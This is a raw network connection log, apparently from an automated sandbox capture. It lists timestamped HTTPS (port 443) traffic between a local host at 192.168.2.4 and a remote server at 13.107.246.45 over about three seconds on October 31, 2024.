Oct 31, 2024 11:28:40.351195097 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.389189959 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.389293909 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.389333010 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.389350891 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.389388084 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.389529943 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.389544964 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.389554977 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.389559984 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.392385960 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.392410040 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.392476082 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.392626047 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.392640114 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.436687946 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.436764956 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.436862946 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.437061071 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.437083960 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.437102079 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.437110901 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.445168018 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.445197105 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.445269108 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.445947886 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.445960999 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.485821962 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.485944986 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.486042023 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.486299992 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.486316919 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.486329079 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.486335039 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.489463091 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.489489079 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:40.489571095 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.489773035 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:40.489787102 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.042088032 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.042762041 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.042783022 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.043396950 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.043405056 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.062989950 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.063395023 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.063406944 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.063996077 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.064002991 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.128101110 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.136672974 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.136697054 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.137140989 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.137146950 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.172106028 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.172179937 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.172287941 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.172524929 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.172538042 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.172549009 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.172555923 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.175163984 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.175199032 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.175272942 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.175407887 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.175414085 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.190315962 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.190867901 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.190887928 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.191453934 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.191461086 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.199086905 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.199115992 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.199162960 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.199167967 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.199212074 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.199443102 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.199453115 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.199465990 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.199474096 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.202289104 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.202315092 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.202408075 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.202577114 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.202594042 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.227720022 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.228132963 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.228151083 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.228535891 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.228542089 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.268459082 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.268522978 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.268605947 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.268760920 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.268779039 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.268790960 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.268796921 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.271559954 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.271595001 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.271673918 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.271853924 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.271868944 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.325623989 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.325695038 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.325751066 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.326145887 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.326165915 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.326179028 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.326185942 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.330094099 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.330121040 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.330183029 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.330367088 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.330380917 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.358539104 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.358618021 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.358668089 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.359071016 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.359091997 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.368990898 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.369026899 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:41.369093895 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.369525909 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:41.369535923 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.018868923 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.022012949 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.022130013 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.060655117 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.067389965 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.076273918 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.076276064 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.088680029 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.088690042 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.089154005 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.089158058 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.089396954 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.089401007 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.089997053 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.090002060 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.090322971 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.090329885 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.090732098 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.090739012 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.090954065 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.090962887 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.091295958 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.091301918 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.108230114 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.119168997 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.119188070 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.119592905 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.119597912 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.217020035 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.217106104 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.217201948 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.217734098 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.217751026 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.217797995 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.217803955 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.219352007 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.219428062 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.219472885 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.219675064 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.219805956 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.219849110 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.220621109 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.220627069 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.220659971 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.220664978 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.222958088 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.222966909 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.223005056 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.223012924 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.225752115 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.225769043 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.225831032 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.226890087 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.226921082 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.226984978 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227185965 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227279902 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227330923 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227514029 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227524042 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227577925 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227675915 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227689028 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227768898 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227781057 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227909088 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227909088 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.227920055 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.227930069 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.229674101 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.229690075 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.229748011 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.229881048 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.229896069 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.230082035 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.230094910 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.246401072 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.246613979 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.246660948 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.246682882 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.246736050 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.246798038 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.246820927 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.246851921 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.246860027 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.249731064 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.249764919 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.249850035 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.250052929 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.250067949 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.955771923 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.956271887 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.956293106 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.956746101 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.956751108 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.960079908 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.960359097 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.960377932 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.960671902 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.960680008 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.974762917 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.974935055 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.975076914 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.975106001 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.975250006 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.975265026 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.975389004 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.975404978 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.975763083 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.975768089 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.991576910 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.991878986 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.991892099 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:42.992237091 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:42.992243052 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.091573000 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.091670036 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.091810942 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.092071056 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.092092037 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.092106104 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.092113018 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.094594002 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.094628096 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.094674110 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.094691992 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.094722986 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.094769001 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.095298052 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.095318079 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.095329046 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.095335960 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.095681906 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.095732927 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.095799923 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.096023083 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.096035957 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.097543001 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.097558022 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.097637892 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.097727060 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.097738981 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106029987 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106059074 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106091022 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106106043 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106148005 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106153011 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106185913 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106219053 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106254101 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106266975 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106281042 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106285095 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106430054 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106451035 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.106482029 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.106489897 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.108736992 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.108781099 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.108845949 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.108877897 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.108910084 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.108967066 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.109067917 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.109092951 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.109093904 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.109112978 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.122431040 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.124330997 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.124417067 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.124437094 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.124444962 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.124456882 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.124460936 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.126871109 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.126919985 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.127011061 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.127118111 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.127141953 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.834675074 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.835103035 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.835113049 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.835594893 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.835601091 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.838284969 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.838697910 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.838706017 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.839139938 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.839144945 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.840924978 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.841249943 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.841286898 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.841634035 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.841639042 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.842145920 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.842415094 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.842441082 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.842784882 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.842792034 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.868526936 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.868961096 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.868971109 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.869452953 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.869458914 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974529982 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974559069 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974592924 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974594116 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974653006 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974672079 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974673033 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974711895 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974904060 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974912882 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974920988 CET	443	50001	13.107.246.45	192.168.2.4
